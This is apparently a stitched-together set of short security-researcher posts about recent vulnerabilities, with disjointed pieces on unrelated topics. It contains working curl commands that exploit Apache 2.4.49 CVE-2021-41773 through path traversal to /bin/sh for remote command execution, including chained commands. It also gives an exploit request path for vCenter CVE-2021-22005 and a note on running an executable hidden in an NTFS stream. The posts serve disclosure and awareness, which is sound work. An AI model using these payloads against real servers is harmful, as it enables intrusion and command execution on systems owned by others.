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Exploiting CVE-2021-41773 to execute commands is incredibly easy once mod-cgi has been enabled...
curl --data "A=|id>/tmp/x" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -vv
and "id" runs ;-)
Oh good, CVE-2021-41773 is in fact also RCE providing mod-cgi is enabled. An attacker can call any binary on the system and supply environment variables (that's how CGI works!) - if they can upload a file and set +x permissions, they can trivially run commands as Apache user.
Here's how to run full commands with arguments via CVE-2021-41773 via a path traversal vulnerability in the event mod-cgi is enabled on Apache 2.4.49
curl --data "A=|id>>/tmp/x;uname\$IFS-a>>/tmp/x" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -vv
Patch urgently.
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write an EXE into any file's NTFS stream, and run it as a process. We can delete the file, even the process is still running :)
it's cool how Windows manage file locks
vCenter Server Analytics service Malicious file upload (CVE-2021-22005)
Current form the code is missing the important part leading to RCE.
POST
/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c="+agent_name+"&_i=test2"
https://t.co/eeO8YNs4by
This is a bit dated, but it's a very well written article on the vulnerability research process, from setting up the environment to target selection, and from bug hunting via fuzzing to exploitation. Very recommended reading.
https://t.co/mDJVB7iywp